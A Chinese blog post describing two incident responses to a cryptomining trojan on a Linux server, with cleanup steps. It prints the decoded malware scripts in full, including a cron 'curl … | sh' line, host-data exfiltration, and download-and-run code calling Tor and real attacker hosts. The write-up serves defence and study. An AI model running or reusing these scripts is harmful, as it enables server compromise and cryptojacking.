記錄一次木馬排查

沄持的學習記錄發表於2022-02-12

2021年12月27日第一次處理

  • 初步排查

收到CPU使用率100%的監控告警

登陸主機,發現一個陌生程式,程式名為SloH4auG,懷疑是木馬。

ps -ef|grep SloH4auG 找到pid

cd /proc/7407/ && ll 檢視程式的exec,當時沒截圖,發現執行程式的檔名是亂碼,並且已經被刪除。這種會清理痕跡的執行行為,基本可以確定該檔案為木馬。

  • 緊急處理

確定伺服器已經中毒,開始緊急處置,首先確定業務影響,確定可控之後使用防火牆封禁其網路出入口,特別是內網進出全部封禁,避免其繼續汙染內網其他主機。

因為這臺主機沒有主要業務,而且我準備抓到木馬乾了什麼,所以就暫時保留公網進出口,因為很多木馬發現自己無法與C&C伺服器建立連線的話,會進行自殺並清理痕跡。

  • 找木馬樣本

cd /var/spool/cron && ll,檢視定時任務的修改時間,發現root使用者的定時任務有修改。

cat root 發現一條定時任務

26 * * * * /root/.systemd-private-lYLmBkzzKln31w9xOAKuqXpObYJjY.sh > /dev/null 2>&1 &
檢視該檔案如圖,執行過程使用base64加密

 

 

 base64解碼後得到木馬程式碼如下:

lYLmBkzzKln31w9xOAKuqXpObYJjY
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad")

sockz() {
n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

 

從指令碼內容看,核心是u()函式,收集了主機的資訊後使用匿名代理下載了一個檔案並執行,執行完成後刪除了。

可以找個沙盒嘗試下載該檔案,當時我沒有下載。直接就開始清理了。

  • 清理木馬

kill木馬程式,刪掉對應crontab記錄,crontab有兩個位置,都要清理,/var/spool/cron,/etc/cront.d/

清理木馬檔案,對應兩個crontab記錄,也是兩個指令碼檔案,都要刪除。

至此告一段落。


 

2022年2月10日第二次處理

  • 木馬再次出現

上次中木馬之後,我清理了公網的無用埠,已經無法出公網,而這臺主機重啟後,該主機出現了惡意程式碼告警。

程式鏈:
-[542]  /usr/sbin/crond -n
    -[4136]  /usr/sbin/crond -n
        -[4141]  /bin/sh -c curl -fsS 139.59.150.7:443/rl|sh

登入主機,發現正在執行的sh程式,找到程式pid,進入/proc/$pid/,檢視cmdline,發現程式wget了一個指令碼,獲取該指令碼如下。

XRANDOM
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

function kurl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

rm -f $HOME/ss
curl -V || wget -q https://github.com/moparisthebest/static-curl/releases/download/v7.75.0/curl-amd64 -O $HOME/curl;chmod +x $HOME/curl
curl -V || kurl http://139.59.150.7:443/curl > $HOME/curl;chmod +x $HOME/curl
ss -v   || kurl http://139.59.150.7:443/ss   > $HOME/ss;chmod +x $HOME/ss
ss -v   || curl -s http://139.59.150.7:443/ss -o $HOME/ss;chmod +x $HOME/ss
ps      || curl -s http://139.59.150.7:443/ps -o $HOME/ps;chmod +x $HOME/ps

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid")

sockz() {
n=(doh.nl.ahadns.net dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.no.ahadns.net doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/l/rd.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done
rm -f /etc/cron.d/systemdd

  

該指令碼與上次發現的一樣,也是收集主機資訊並通過匿名代理下載木馬檔案,這次我獲取到了該檔案,該檔案是一個二進位制檔案,執行後就會執行後續的挖礦程式。即上次處理時發現的情況。

從這次情況看,上次清理時沒有處理開機自動啟動的問題,這次抓程式時,從cmdline裡看到,應該是開機啟動時執行了/usr/sbin/crond -n命令拉起了木馬,然後刪除了/usr/sbin/crond檔案。這是把自己偽裝成crond服務防止被識別。

  • 遺留問題

但是開機啟動的配置我還沒有找到,因為linux啟動時可以嵌入程式碼的地方太多了,準備把這臺機器應用遷移後釋放掉了。

 

相關文章